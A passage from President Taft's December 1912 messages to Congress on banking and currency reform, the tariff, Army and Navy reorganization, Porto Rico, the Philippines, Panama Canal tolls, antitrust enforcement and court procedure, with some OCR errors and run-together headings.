stock of the reserve association, nontransferable and only to\nbe held by the bank while it performs its functions as a partner in the\nreserve association.The report of the commission recommends provisions for the imposition of a\ngraduated tax on the expanded currency of such a character as to furnish a\nmotive for reducing the issue of notes whenever their presence in the money\nmarket is not required by the exigencies of trade. In other words, the\nwhole system has been worked out with the greatest care. Theoretically it\npresents a plan that ought to command support. Practically it may require\nmodification in various of its provisions in order to make the security\nagainst, abuses by combinations among the banks impossible. But in the face\nof the crying necessity that there is for improvement in our present\nsystem, I urgently invite the attention of Congress to the proposed plan\nand the report of the commission, with the hope that an earnest\nconsideration may suggest amendments and changes within the general plan\nwhich will lead to its adoption for the benefit of the country. There is no\nclass in the community more interested in a safe and sane banking and\ncurrency system, one which will prevent panics and automatically furnish in\neach trade center the currency needed in the carrying on of the business at\nthat center, than the wage earner. There is no class in the community whose\nexperience better qualifies them to make suggestions as to the sufficiency\nof a currency and banking system than the bankers and business men. Ought\nwe, therefore, to ignore their recommendations and reject their financial\njudgment as to the proper method of reforming our financial system merely\nbecause of the suspicion which exists against them in the minds of many of\nour fellow citizens? Is it not the duty of Congress to take up the plan\nsuggested, examine it from all standpoints, give impartial consideration to\nthe testimony of those whose experience ought to fit them to give the best\nadvice on the subject, and then to adopt some plan which will secure the\nbenefits desired?A banking and currency system seems far away from the wage earner and the\nfarmer, but the fact is that they are vitally interested in a safe system\nof currency which shall graduate its volume to the amount needed and which\nshall prevent times of artificial stringency that frighten capital, stop\nemployment, prevent the meeting of the pay roll, destroy local markets, and\nproduce penury and want.THE TARIFFI have regarded it as my duty in former messages to the Congress to urge\nthe revision of the tariff upon principles of protection. It was my\njudgment that the customs duties ought to be revised downward, but that the\nreduction ought not to be below a rate which would represent the difference\nin the cost of production between the article in question at home and\nabroad, and for this and other reasons I vetoed several bills which were\npresented to me in the last session of this Congress. Now that a new\nCongress has been elected on a platform of a tariff for revenue only rather\nthan a protective tariff, and is to revise the tariff on that basis, it is\nneedless for me to occupy the time of this Congress with arguments or\nrecommendations in favor of a protective tariff.Before passing from the tariff law, however, known as the Payne tariff law\nof August 5, 1909, I desire to call attention to section 38 of that act,\nassessing a special excise tax on corporations. It contains a provision\nrequiring the levy of an additional 50 per cent to the annual tax in cases\nof neglect to verify the prescribed return or to file it before the time\nrequired by law. This additional charge of 50 per cent operates in some\ncases as a harsh penalty for what may have been a mere inadvertence or\nunintentional oversight, and the law should be so amended as to mitigate\nthe severity of the charge in such instances. Provision should also be made\nfor the refund of additional taxes heretofore collected because of such\ninfractions in those cases where the penalty imposed has been so\ndisproportionate to the offense as equitably to demand relief.BUDGETThe estimates for the next fiscal year have been assembled by the Secretary\nof the Treasury and by him transmitted to Congress. I purpose at a later\nday to submit to Congress a form of budget prepared for me and recommended\nby the President's Commission on Economy and Efficiency, with a view of\nsuggesting the useful and informing character of a properly framed budget.WAR DEPARTMENTThe War Department combines within its jurisdiction functions which in\nother countries usually occupy three departments. It not only has the\nmanagement of the Army and the coast defenses, but its jurisdiction extends\nto the government of the Philippines and of Porto Rico and the control of\nthe receivership of the customs revenues of the Dominican Republic; it also\nincludes the recommendation of all plans for the improvement of harbors and\nwaterways and their execution when adopted; and, by virtue of an Executive\norder, the supervision of the construction of the Panama Canal.ARMY REORGANIZATIONOur small Army now consists of 83,809 men, excluding the 5,000 Philippine\nscouts. Leaving out of consideration the Coast Artillery force, whose\nposition is fixed in our various seacoast defenses, and the present\ngarrisons of our various insular possessions, we have to-day within the\ncontinental United States a mobile Army of only about 35,000 men. This\nlittle force must be still further drawn upon to supply the new garrisons\nfor the great naval base which is being established at Pearl Harbor, in the\nHawaiian Islands, and to protect the locks now rapidly approaching\ncompletion at Panama. The forces remaining in the United States are now\nscattered in nearly 50 Posts, situated for a variety of historical reasons\nin 24 States. These posts contain only fractions of regiments, averaging\nless than 700 men each. In time of peace it has been our historical policy\nto administer these units separately by a geographical organization. In\nother words, our Army in time of peace has never been a united organization\nbut merely scattered groups of companies, battalions, and regiments, and\nthe first task in time of war has been to create out of these scattered\nunits an Army fit for effective teamwork and cooperation.To the task of meeting these patent defects, the War Department has been\naddressing itself during the past year. For many years we had no officer or\ndivision whose business it was to study these problems and plan remedies\nfor these defects. With the establishment of the General Staff nine years\nago a body was created for this purpose. It has, necessarily, required time\nto overcome, even in its own personnel, the habits of mind engendered by a\ncentury of lack of method, but of late years its work has become systematic\nand effective, and it has recently been addressing itself vigorously to\nthese problems.A comprehensive plan of Army reorganization was prepared by the War College\nDivision of the General Staff. This plan was thoroughly discussed last\nsummer at a series of open conferences held by the Secretary of War and\nattended by representatives from all branches of the Army and from\nCongress. In printed form it has been distributed to Members of Congress\nand throughout the Army and the National Guard, and widely through\ninstitutions of learning and elsewhere in the United States. In it, for the\nfirst time, we have a tentative chart for future progress.Under the influence of this study definite and effective steps have been\ntaken toward Army reorganization so far as such reorganization lies within\nthe Executive power. Hitherto there has been no difference of policy in the\ntreatment of the organization of our foreign garrisons from those of troops\nwithin the United States. The difference of situation is vital, and the\nforeign garrison should be prepared to defend itself at an instant's notice\nagainst a foe who may command the sea. Unlike the troops in the United\nStates, it can not count upon reinforcements or recruitment. It is an\noutpost upon which will fall the brunt of the first attack in case of war.\nThe historical policy of the United States of carrying its regiments during\ntime of peace at half strength has no application to our foreign garrisons.\nDuring the past year this defect has been remedied as to the Philippines\ngarrison. The former garrison of 12 reduced regiments has been replaced by\na garrison of 6 regiments at full strength, giving fully the same number of\nriflemen at an estimated economy in cost of maintenance of over $1,000,000\nper year. This garrison is to be permanent. Its regimental units, instead\nof being transferred periodically back and forth from the United States,\nwill remain in the islands. The officers and men composing these units\nwill, however, serve a regular tropical detail as usual, thus involving no\ngreater hardship upon the personnel and greatly increasing the\neffectiveness of the garrison. A similar policy is proposed for the\nHawaiian and Panama garrisons as fast as the barracks for them are\ncompleted. I strongly urge upon Congress that the necessary appropriations\nfor this purpose should be promptly made. It is, in my opinion, of first\nimportance that these national outposts, upon which a successful home\ndefense will, primarily, depend, should be finished and placed in effective\ncondition at the earliest possible day.THE HOME ARMYSimultaneously with the foregoing steps the War Department has been\nproceeding with the reorganization of the Army at home. The formerly\ndisassociated units are being united into a tactical organization of three\ndivisions, each consisting of two or three brigades of Infantry and, so far\nas practicable, a proper proportion of divisional Cavalry and Artillery. Of\ncourse, the extent to which this reform can be carried by the Executive is\npractically limited to a paper organization. The scattered units can be\nbrought under a proper organization, but they will remain physically\nscattered until Congress supplies the necessary funds for grouping them in\nmore concentrated posts. Until that is done the present difficulty of\ndrilling our scattered groups together, and thus training them for the\nproper team play, can not be removed. But we shall, at least, have an Army\nwhich will know its own organization and will be inspected by its proper\ncommanders, and to which, as a unit, emergency orders can be issued in time\nof war or other emergency. Moreover, the organization, which in many\nrespects is necessarily a skeleton, will furnish a guide for future\ndevelopment. The separate regiments and companies will know the brigades\nand divisions to which they belong. They will be maneuvered together\nwhenever maneuvers are established by Congress, and the gaps in their\norganization will show the pattern into which can be filled new troops as\nthe Nation grows and a larger Army is provided.REGULAR ARMY RESERVEOne of the most important reforms accomplished during the past year has\nbeen the legislation enacted in the Army appropriation bill of last summer,\nproviding for a Regular Army reserve. Hitherto our national policy has\nassumed that at the outbreak of war our regiments would be immediately\nraised to full strength. But our laws have provided no means by which this\ncould be accomplished, or by which the losses of the regiments when once\nsent to the front could be repaired. In this respect we have neglected the\nlessons learned by other nations. The new law provides that the soldier,\nafter serving four years with colors, shall pass into a reserve for three\nyears. At his option he may go into the reserve at the end of three years,\nremaining there for four years. While in the reserve he can be called to\nactive duty only in case of war or other national emergency, and when so\ncalled and only in such case will receive a stated amount of pay for all of\nthe period in which he has been a member of the reserve. The legislation is\nimperfect, in my opinion, in certain particulars, but it is a most\nimportant step in the right direction, and I earnestly hope that it will be\ncarefully studied and perfected by Congress.THE NATIONAL GUARDUnder existing law the National Guard constitutes, after the Regular Army,\nthe first line of national defense. Its organization, discipline, training,\nand equipment, under recent legislation, have been assimilated, as far as\npossible, to those of the Regular Army, and its practical efficiency, under\nthe effect of this training, has very greatly increased. Our citizen\nsoldiers under present conditions have reached a stage of development\nbeyond which they can not reasonably be asked to go without further direct\nassistance in the form of pay from the Federal Government. On the other\nhand, such pay from the National Treasury would not be justified unless it\nproduced a proper equivalent in additional efficiency on the part of the\nNational Guard. The Organized Militia to-day can not be ordered outside of\nthe limits of the United States, and thus can not lawfully be used for\ngeneral military purposes. The officers and men are ambitious and eager to\nmake themselves thus available and to become an efficient national reserve\nof citizen soldiery. They are the only force of trained men, other than the\nRegular Army, upon which we can rely. The so-called militia pay bill, in\nthe form agreed on between the authorities of the War Department and the\nrepresentatives of the National Guard, in my opinion adequately meets these\nconditions and offers a proper return for the pay which it is proposed to\ngive to the National Guard. I believe that its enactment into law would be\na very long step toward providing this Nation with a first line of citizen\nsoldiery, upon which its main reliance must depend in case of any national\nemergency. Plans for the organization of the National Guard into tactical\ndivisions, on the same lines as those adopted for the Regular Army, are\nbeing formulated by the War College Division of the General Staff.NATIONAL VOLUNTEERSThe National Guard consists of only about 110,000 men. In any serious war\nin the past it has always been necessary, and in such a war in the future\nit doubtless will be necessary, for the Nation to depend, in addition to\nthe Regular Army and the National Guard, upon a large force of volunteers.\nThere is at present no adequate provision of law for the raising of such a\nforce. There is now pending in Congress, however, a bill which makes such\nprovision, and which I believe is admirably adapted to meet the exigencies\nwhich would be presented in case of war. The passage of the bill would not\nentail a dollar's expense upon the Government at this time or in the future\nuntil war comes. But if war comes the methods therein directed are in\naccordance with the best military judgment as to what they ought to be, and\nthe act would prevent the necessity for a discussion of any legislation and\nthe delays incident to its consideration and adoption. I earnestly urge its\npassage.CONSOLIDATION OF THE SUPPLY CORPSThe Army appropriation act of 191:2 also carried legislation for the\nconsolidation of the Quartermaster's Department, the Subsistence\nDepartment, and the Pay Corps into a single supply department, to be known\nas the Quartermaster's Corps. It also provided for the organization of a\nspecial force of enlisted men, to be known as the Service Corps, gradually\nto replace many of the civilian employees engaged in the manual labor\nnecessary in every army. I believe that both of these enactments will\nimprove the administration of our military establishment. The consolidation\nof the supply corps has already been effected, and the organization of the\nservice corps is being put into effect.All of the foregoing reforms are in the direction of economy and\nefficiency. Except for the slight increase necessary to garrison our\noutposts in Hawaii and Panama, they do not call for a larger Army, but they\ndo tend to produce a much more efficient one. The only substantial new\nappropriations required are those which, as I have pointed out, are\nnecessary to complete the fortifications and barracks at our naval bases\nand outposts beyond the sea.PORTO RICOPorto Rico continues to show notable progress, both commercially and in the\nspread of education. Its external commerce has increased 17 per cent over\nthe preceding year, bringing the total value up to $92,631,886, or more\nthan five times the value of the commerce of the island in 1901. During the\nyear 160,657 Pupils were enrolled in the public schools, as against 145,525\nfor the preceding year, and as compared with 26,000 for the first year of\nAmerican administration. Special efforts are under way for the promotion of\nvocational and industrial training, the need of which is particularly\npressing in the island. When the bubonic plague broke out last June, the\nquick and efficient response of the people of Porto Rico to the demands of\nmodern sanitation was strikingly shown by the thorough campaign which was\ninstituted against the plague and the hearty public opinion which supported\nthe Government's efforts to check its progress and to prevent its\nrecurrence.The failure thus far to grant American citizenship continues to be the only\nground of dissatisfaction. The bill conferring such citizenship has passed\nthe House of Representatives and is now awaiting the action of the Senate.\nI am heartily in favor of the passage of this bill. I believe that the\ndemand for citizenship is just, and that it is amply earned by sustained\nloyalty on the part of the inhabitants of the island. But it should be\nremembered that the demand must be, and in the minds of most Porto Ricans\nis, entirely disassociated from any thought of statehood. I believe that no\nsubstantial approved public opinion in the United States or in Porto Rico\ncontemplates statehood for the island as the ultimate form of relations\nbetween us. I believe that the aim to be striven for is the fullest\npossible allowance of legal and fiscal self-government, with American\ncitizenship as to the bond between us; in other words, a relation analogous\nto the present relation between Great Britain and such self-governing\ncolonies as Canada and Australia. This would conduce to the fullest and\nmost self-sustaining development of Porto Rico, while at the same time it\nwould grant her the economic and political benefits of being under the\nAmerican flag.PHILIPPINESA bill is pending in Congress which revolutionizes the carefully worked out\nscheme of government under which the Philippine Islands are now governed\nand which proposes to render them virtually autonomous at once and\nabsolutely independent in eight years. Such a proposal can only be founded\non the assumption that we have now discharged our trusteeship to the\nFilipino people and our responsibility for them to the world, and that they\nare now prepared for self-government as well as national sovereignty. A\nthorough and unbiased knowledge of the facts clearly shows that these\nassumptions are absolutely without justification. As to this, I believe\nthat there is no substantial difference of opinion among any of those who\nhave had the responsibility of facing Philippine problems in the\nadministration of the islands, and I believe that no one to whom the future\nof this people is a responsible concern can countenance a policy fraught\nwith the direst consequences to those on whose behalf it is ostensibly\nurged.In the Philippine Islands we have embarked upon an experiment unprecedented\nin dealing with dependent people. We are developing there conditions\nexclusively for their own welfare. We found an archipelago containing 24\ntribes and races, speaking a great variety of languages, and with a\npopulation over 80 per cent of which could neither read nor write. Through\nthe unifying forces of a common education, of commercial and economic\ndevelopment, and of gradual participation in local self-government we are\nendeavoring to evolve a homogeneous people fit to determine, when the time\narrives, their own destiny. We are seeking to arouse a national spirit and\nnot, as under the older colonial theory, to suppress such a spirit. The\ncharacter of the work we have been doing is keenly recognized in the\nOrient, and our success thus far followed with not a little envy by those\nwho, initiating the same policy, find themselves hampered by conditions\ngrown up in earlier days and under different theories of administration.\nBut our work is far from done. Our duty to the Filipinos is far from\ndischarged. Over half a million Filipino students are now in the Philippine\nschools helping to mold the men of the future into a homogeneous people,\nbut there still remain more than a million Filipino children of school age\nyet to be reached. Freed from American control the integrating forces of a\ncommon education and a common language will cease and the educational\nsystem now well started will slip back into inefficiency and disorder.An enormous increase in the commercial development of the islands has been\nmade since they were virtually granted full access to our markets three\nyears ago, with every prospect of increasing development and diversified\nindustries. Freed from American control such development is bound to\ndecline. Every observer speaks of the great progress in public works for\nthe benefit of the Filipinos, of harbor improvements, of roads and\nrailways, of irrigation and artesian wells, public buildings, and better\nmeans of communication. But large parts of the islands are still unreached,\nstill even unexplored, roads and railways are needed in many parts,\nirrigation systems are still to be installed, and wells to be driven. Whole\nvillages and towns are still without means of communication other than\nalmost impassable roads and trails. Even the great progress in sanitation,\nwhich has successfully suppressed smallpox, the bubonic plague, and Asiatic\ncholera, has found the cause of and a cure for beriberi, has segregated the\nlepers, has helped to make Manila the most healthful city in the Orient,\nand to free life throughout the whole archipelago from its former dread\ndiseases, is nevertheless incomplete in many essentials of permanence in\nsanitary policy. Even more remains to be accomplished. If freed from\nAmerican control sanitary progress is bound to be arrested and all that has\nbeen achieved likely to be lost.Concurrent with the economic, social, and industrial development of the\nislands has been the development of the political capacity of the people.\nBy their progressive participation in government the Filipinos are being\nsteadily and hopefully trained for self-government. Under Spanish control\nthey shared in no way in the government. Under American control they have\nshared largely and increasingly. Within the last dozen years they have\ngradually been given complete autonomy in the municipalities, the right to\nelect two-thirds of the provincial governing boards and the lower house of\nthe insular legislature. They have four native members out of nine members\nof the commission, or upper house. The chief justice and two justices of\nthe supreme court, about one-half of the higher judicial positions, and all\nof the justices of the peach are natives. In the classified civil service\nthe proportion of Filipinos increased from 51 per cent in 1904 to 67 per\ncent in 1911. Thus to-day all the municipal employees, over go per cent of\nthe provincial employees, and 60 per cent of the officials and employees of\nthe central government are Filipinos. The ideal which has been kept in mind\nin our political guidance of the islands has been real popular\nself-government and not mere paper independence. I am happy to say that the\nFilipinos have done well enough in the places they have filled and in the\ndischarge of the political power with which they have been intrusted to\nwarrant the belief that they can be educated and trained to complete\nself-government. But the present satisfactory results are due to constant\nsupport and supervision at every step by Americans.If the task we have undertaken is higher than that assumed by other\nnations, its accomplishment must demand even more patience. We must not\nforget that we found the Filipinos wholly untrained in government. Up to\nour advent all other experience sought to repress rather than encourage\npolitical power. It takes long time and much experience to ingrain\npolitical habits of steadiness and efficiency. Popular self-government\nultimately must rest upon common habits of thought and upon a reasonably\ndeveloped public opinion. No such foundations for self-government, let alone\nindependence are now present in the Philippine Islands. Disregarding even\ntheir racial heterogeneity and the lack of ability to think as a nation, it\nis sufficient to point out that under liberal franchise privileges only\nabout 3 per cent of the Filipinos vote and only 5 per cent of the people\nare said to read the public press. To confer independence upon the\nFilipinos now is, therefore, to subject the great mass of their people to\nthe dominance of an oligarchical and, probably, exploiting minority. Such a\ncourse will be as cruel to those people as it would be shameful to us.Our true course is to pursue steadily and courageously the path we have\nthus far followed; to guide the Filipinos into self-sustaining pursuits; to\ncontinue the cultivation of sound political habits through education and\npolitical practice; to encourage the diversification of industries, and to\nrealize the advantages of their industrial education by conservatively\napproved cooperative methods, at once checking the dangers of concentrated\nwealth and building up a sturdy, independent citizenship. We should do all\nthis with a disinterested endeavor to secure for the Filipinos economic\nindependence and to fit them for complete self-government, with the power\nto decide eventually, according to their own largest good, whether such\nself-government shall be accompanied by independence. A present declaration\neven of future independence would retard progress by the dissension and\ndisorder it would arouse. On our part it would be a disingenuous attempt,\nunder the guise of conferring a benefit on them, to relieve ourselves from\nthe heavy and difficult burden which thus far we have been bravely and\nconsistently sustaining. It would be a disguised policy of scuttle. It\nwould make the helpless Filipino the football of oriental politics, tinder\nthe protection of a guaranty of their independence, which we would be\npowerless to enforce.REGULATION OF WATER POWERThere are pending before Congress a large number of bills proposing to\ngrant privileges of erecting dams for the purpose of creating water power\nin our navigable rivers. The pendency of these bills has brought out an\nimportant defect in the existing general dam act. That act does not, in my\nopinion, grant sufficient power to the Federal Government in dealing with\nthe construction of such dams to exact protective conditions in the\ninterest of navigation. It does not permit the Federal Government, as a\ncondition of its permit, to require that a part of the value thus created\nshall be applied to the further general improvement and protection of the\nstream. I believe this to be one of the most important matters of internal\nimprovement now confronting the Government. Most of the navigable rivers of\nthis country are comparatively long and shallow. In order that they may be\nmade fully useful for navigation there has come into vogue a method of\nimprovement known as canalization, or the slack-water method, which\nconsists in building a series of dams and locks, each of which will create\na long pool of deep navigable water. At each of these dams there is usually\ncreated also water power of commercial value. If the water power thus\ncreated can be made available for the further improvement of navigation in\nthe stream, it is manifest that the improvement will be much more quickly\neffected on the one hand, and, on the other, that the burden on the general\ntaxpayers of the country will be very much reduced. Private interests\nseeking permits to build water-power dams in navigable streams usually urge\nthat they thus improve navigation, and that if they do not impair\nnavigation they should be allowed to take for themselves the entire profits\nof the water-power development. Whatever they may do by way of relieving\nthe Government of the expense of improving navigation should be given due\nconsideration, but it must be apparent that there may be a profit beyond a\nreasonably liberal return upon the private investment which is a potential\nasset of the Government in carrying out a comprehensive policy of waterway\ndevelopment. It is no objection to the retention and use of such an asset\nby the Government that a comprehensive waterway policy will include the\nprotection and development of the other public uses of water, which can not\nand should not be ignored in making and executing plans for the protection\nand development of navigation. It is also equally clear that inasmuch as\nthe water power thus created is or may be an incident of a general scheme\nof waterway improvement within the constitutional jurisdiction of the\nFederal Government, the regulation of such water power lies also within\nthat jurisdiction. In my opinion constructive statesmanship requires that\nlegislation should be enacted which will permit the development of\nnavigation in these great rivers to go hand in hand with the utilization of\nthis by-product of water power, created in the course of the same\nimprovement, and that the general dam act should be so amended as to make\nthis possible. I deem it highly important that the Nation should adopt a\nconsistent and harmonious treatment of these water-power projects, which\nwill preserve for this purpose their value to the Government, whose right\nit is to grant the permit. Any other policy is equivalent to throwing away\na most valuable national asset.THE PANAMA CANALDuring the past year the work of construction upon the canal has progressed\nmost satisfactorily. About 87 per cent of the excavation work has been\ncompleted, and more than 93 per cent of the concrete for all the locks is\nin place. In view of the great interest which has been manifested as to\nsome slides in the Culebra Cut, I am glad to say that the report of Col.\nGoethals should allay any apprehension on this point. It is gratifying to\nnote that none of the slides which occurred during this year would have\ninterfered with the passage of the ships had the canal, in fact, been in\noperation, and when the slope pressures will have been finally adjusted and\nthe growth of vegetation will minimize erosion in the banks of the cut, the\nslide problem will be practically solved and an ample stability assured for\nthe Culebra Cut.Although the official date of the opening has been set for January 1, 1915,\nthe canal will, in fact, from present indications, be opened for shipping\nduring the latter half of 1913. No fixed date can as yet be set, but\nshipping interests will be advised as soon as assurances can be given that\nvessels can pass through without unnecessary delay.Recognizing the administrative problem in the management of the canal,\nCongress in the act of August 24, 1912, has made admirable provisions for\nexecutive responsibility in the control of the canal and the government of\nthe Canal Zone. The problem of most efficient organization is receiving\ncareful consideration, so that a scheme of organization and control best\nadapted to the conditions of the canal may be formulated and put in\noperation as expeditiously as possible. Acting tinder the authority\nconferred on me by Congress, I have, by Executive proclamation, promulgated\nthe following schedule of tolls for ships passing through the canal, based\nupon the thorough report of Emory R. Johnson, special commissioner on\ntraffic and tolls:I. On merchant vessels carrying passengers or cargo, $1.20 per net vessel\nton-each 100 cubic feet-of actual earning capacity. 2. On vessels in\nballast without passengers or cargo, 40 per cent less than the rate of\ntolls for vessels with passengers or cargo. 3. Upon naval vessels, other\nthan transports, colliers, hospital ships, and supply ships, 50 cents per\ndisplacement ton. 4. Upon Army and Navy transports, colliers, hospital\nships, and supply ships, $1.20 per net ton, the vessels to be measured by\nthe same rules as are employed in determining the net tonnage of merchant\nvessels. Rules for the determination of the tonnage upon which toll charges\nare based are now in course of preparation and will be promulgated in due\nseason.PANAMA CANAL TREATYThe proclamation which I have issued in respect to the Panama Canal tolls\nis in accord with the Panama Canal act passed by this Congress August 24,\n1912. We have been advised that the British Government has prepared a\nprotest against the act and its enforcement in so far as it relieves from\nthe payment of tolls American ships engaged in the American coastwise trade\non the ground that it violates British rights tinder the Hay-Pauncefote\ntreaty concerning the Panama Canal. When the protest is presented, it will\nbe promptly considered and an effort made to reach a satisfactory\nadjustment of any differences there may be between the two Governments.WORKMEN'S COMPENSATION ACTThe promulgation of an efficient workmen's compensation act, adapted to the\nparticular conditions of the zone, is awaiting adequate appropriation by\nCongress for the payment of claims arising thereunder. I urge that speedy\nprovision be made in order that we may install upon the zone a system of\nsettling claims for injuries in best accord with modern humane, social, and\nindustrial theories.PROMOTION FOR COL. GOETHALSAs the completion of the canal grows nearer, and as the wonderful executive\nwork of Col. Goethals becomes more conspicuous in the eyes of the country\nand of the world, it seems to me wise and proper to make provision by law\nfor such reward to him as may be commensurate with the service that he has\nrendered to his country. I suggest that this reward take the form of an\nappointment of Col. Goethals as a major general in the Army of the United\nStates, and that the law authorizing such appointment be accompanied with a\nprovision permitting his designation as Chief of Engineers upon the\nretirement of the present incumbent of that office.NAVY DEPARTMENTThe Navy of the United States is in a greater state of efficiency and is\nmore powerful than it has ever been before, but in the emulation which\nexists between different countries in respect to the increase of naval and\nmilitary armaments this condition is not a permanent one. In view of the\nmany improvements and increases by foreign Governments the slightest halt\non our part in respect to new construction throws us back and reduces us\nfrom a naval power of the first rank and places us among the nations of the\nsecond rank. In the past 15 years the Navy has expanded rapidly and yet far\nless rapidly than our country. From now on reduced expenditures in the Navy\nmeans reduced military strength. The world's history has shown the\nimportance of sea power both for adequate defense and for the support of\nimportant and definite policies.I had the pleasure of attending this autumn a mobilization of the Atlantic\nFleet, and was glad to observe and note the preparedness of the fleet for\ninstant action. The review brought before the President and the Secretary\nof the Navy a greater and more powerful collection of vessels than had ever\nbeen gathered in American waters. The condition of the fleet and of the\nofficers and enlisted men and of the equipment of the vessels entitled\nthose in authority to the greatest credit.I again commend to Congress the giving of legislative sanction to the\nappointment of the naval aids to the Secretary of the Navy. These aids and\nthe council of aids appointed by the Secretary of the Navy to assist him in\nthe conduct of his department have proven to be of the highest utility.\nThey have furnished an executive committee of the most skilled naval\nexperts, who have coordinated the action of the various bureaus in the\nNavy, and by their advice have enabled the Secretary to give an\nadministration at the same time economical and most efficient. Never before\nhas the United States had a Navy that compared in efficiency with its\npresent one, but never before have the requirements with respect to naval\nwarfare been higher and more exacting than now. A year ago Congress refused\nto appropriate for more than one battleship. In this I think a great\nmistake of policy was made, and I urgently recommend that this Congress\nmake up for the mistake of the last session by appropriations authorizing\nthe construction of three battleships, in addition to destroyers, fuel\nships, and the other auxiliary vessels as shown in the building program of\nthe general board. We are confronted by a condition in respect to the\nnavies of the world which requires us, if we would maintain our Navy as an\ninsurance of peace, to augment our naval force by at least two battleships\na year and by battle cruisers, gunboats, torpedo destroyers, and submarine\nboats in a proper proportion. We have no desire for war. We would go as far\nas any nation in the world to avoid war, but we are a world power. Our\npopulation, our wealth, our definite policies, our responsibilities in the\nPacific and the Atlantic, our defense of the Panama Canal, together with\nour enormous world trade and our missionary outposts on the frontiers of\ncivilization, require us to recognize our position as one of the foremost\nin the family of nations, and to clothe ourselves with sufficient naval\npower to give force to our reasonable demands, and to give weight to our\ninfluence in those directions of progress that a powerful Christian nation\nshould advocate.I observe that the Secretary of the Navy devotes some space to a change in\nthe disciplinary system in vogue in that branch of the service. I think\nthere is nothing quite so unsatisfactory to either the Army or the Navy as\nthe severe punishments necessarily inflicted by court-martial for\ndesertions and purely military offenses, and I am glad to hear that the\nBritish have solved this important and difficult matter in a satisfactory\nway. I commend to the consideration of Congress the details of the new\ndisciplinary system, and recommend that laws be passed putting the same\ninto force both in the Army and the Navy.I invite the attention of Congress to that part of the report of the\nSecretary of the Navy in which he recommends the formation of a naval\nreserve by the organization of the ex-sailors of the Navy.I repeat my recommendation made last year that proper provision should be\nmade for the rank of the commander in chief of the squadrons and fleets of\nthe Navy. The inconvenience attending the necessary precedence that most\nforeign admirals have over our own whenever they meet in official functions\nought to be avoided. It impairs the prestige of our Navy and is a defect\nthat can be very easily removed.DEPARTMENT OF JUSTICEThis department has been very active in the enforcement of the law. It has\nbeen better organized and with a larger force than ever before in the\nhistory of the Government. The prosecutions which have been successfully\nconcluded and which are now pending testify to the effectiveness of the\ndepartmental work.The prosecution of trusts under the Sherman antitrust law has gone on\nwithout restraint or diminution, and decrees similar to those entered in\nthe Standard Oil and the Tobacco cases have been entered in other suits,\nlike the suits against the Powder Trust and the Bathtub Trust. I am very\nstrongly convinced that a steady, consistent course in this regard, with a\ncontinuing of Supreme Court decisions upon new phases of the trust question\nnot already finally decided is going to offer a solution of this\nmuch-discussed and troublesome issue in a quiet, calm, and judicial way,\nwithout any radical legislation changing the governmental policy in regard\nto combinations now denounced by the Sherman antitrust law. I have already\nrecommended as an aid in this matter legislation which would declare\nunlawful certain well-known phases of unfair competition in interstate\ntrade, and I have also advocated voluntary national incorporation for the\nlarger industrial enterprises, with provision for a closer supervision by\nthe Bureau of Corporations, or a board appointed for the purpose, so as to\nmake more certain compliance with the antitrust law on the one hand and to\ngive greater security to the stockholders against possible prosecutions on\nthe other. I believe, however, that the orderly course of litigation in the\ncourts and the regular prosecution of trusts charged with the violation of\nthe antitrust law is producing among business men a clearer and clearer\nperception of the line of distinction between business that is to be\nencouraged and business that is to be condemned, and that in this quiet way\nthe question of trusts can be settled and competition retained as an\neconomic force to secure reasonableness in prices and freedom and\nindependence in trade.REFORM OF COURT PROCEDUREI am glad to bring to the attention of Congress the fact that the Supreme\nCourt has radically altered the equity rules governing the procedure on the\nequity side of all Federal courts, and though, as these changes have not\nbeen yet put in practice so as to enable us to state from actual results\nwhat the reform will accomplish, they are of such a character that we can\nreasonably prophesy that they will greatly reduce the time and cost of\nlitigation in such courts. The court has adopted many of the shorter\nmethods of the present English procedure, and while it may take a little\nwhile for the profession to accustom itself to these methods, it is certain\ngreatly to facilitate litigation. The action of the Supreme Court has been\nso drastic and so full of appreciation of the necessity for a great reform\nin court procedure that I have no hesitation in following up this action\nwith a recommendation which I foreshadowed in my message of three years\nago, that the sections of the statute governing the procedure in the\nFederal courts on the common-law side should be so amended as to give to\nthe Supreme Court the same right to make rules of procedure in common law\nas they have, since the beginning of the court, exercised in equity. I do\nnot doubt that a full consideration of the subject will enable the court\nwhile giving effect to the substantial differences in right and remedy\nbetween the system of common law and the system of equity so to unite the\ntwo procedures into the form of one civil action and to shorten the\nprocedure in such civil action as to furnish a model to all the State\ncourts exercising concurrent jurisdiction with the Federal courts of first\ninstance.Under the statute now in force the common-law procedure in each Federal\ncourt is made to conform to the procedure in the State in which the court\nis held. In these days, when we should be making progress in court\nprocedure, such a conformity statute makes the Federal method too dependent\nupon the action of State legislatures. I can but think it a great\nopportunity for Congress to intrust to the highest tribunal in this\ncountry, evidently imbued with a strong spirit in favor of a reform of\nprocedure, the power to frame a model code of procedure, which, while\npreserving all that is valuable and necessary of the rights and remedies at\ncommon law and in equity, shall lessen the burden of the poor litigant to a\nminimum in the expedition and cheapness with which his cause can be fought\nor defended through Federal courts to final judgment.WORKMAN'S COMPENSATION ACTThe workman's compensation act reported by the special commission appointed\nby Congress and the Executive, which passed the Senate and is now pending\nin the House, the passage of which I have in previous messages urged upon\nCongress, I venture again to call to its attention. The opposition to it\nwhich developed in the Senate, but which was overcome by a majority in that\nbody, seemed to me to grow out rather of a misapprehension of its effect\nthan of opposition to its principle. I say again that I think no act can\nhave a better effect directly upon the relations between the employer and\nemployee than this act applying to railroads and common carriers of an\ninterstate character, and I am sure that the passage of the act would\ngreatly relieve the courts of the heaviest burden of litigation that they\nhave, and would enable them to dispatch other business with a speed never\nbefore attained in courts of justice in this country.PART III. \n[Concerning the Work of the Departments of the Post Office, Interior, \nAgriculture, and Commerce and Labor and District of Columbia.]THE WHITE HOUSE, December 19, 1912.To the Senate and House of Representatives:This is the third of a series of messages in which I have brought to the\nattention of the Congress the important transactions of the Government in\neach of its departments during the last year and have discussed needed\nreforms.HEADS OF DEPARTMENTS SHOULD HAVE SEATS ON THE FLOOR OF CONGRESSI recommend the adoption of legislation which shall make it the duty of\nheads of departments--the members of the President's Cabinet--at convenient\ntimes to attend the session of the House and the Senate, which shall\nprovide seats for them in each House, and give them the opportunity to take\npart in all discussions and to answer questions of which they have had due\nnotice. The rigid holding apart of the executive and the legislative\nbranches of this Government has not worked for the great advantage of\neither. There has been much lost motion in the machinery, due to the lack\nof cooperation and interchange of views face to face between the\nrepresentatives of the Executive and the Members of the two legislative\nbranches of the Government. It was never intended that they should be\nseparated in the sense of not being in constant effective touch and\nrelationship to each other. The legislative and the executive each performs\nits own appropriate function, but these functions must be coordinated. Time\nand time again debates have arisen in each 